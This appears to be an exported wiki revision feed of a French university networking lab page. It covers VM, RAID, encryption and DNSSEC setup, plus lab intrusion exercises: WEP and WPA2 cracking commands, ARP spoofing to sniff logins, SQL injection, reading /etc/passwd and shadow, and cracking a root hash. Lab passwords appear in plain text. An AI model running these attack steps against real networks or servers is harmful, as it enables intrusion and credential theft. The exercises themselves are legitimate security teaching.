 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
=== Partie 7 ===&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54860</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54860"/>
				<updated>2020-12-17T14:30:11Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Partie 7 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
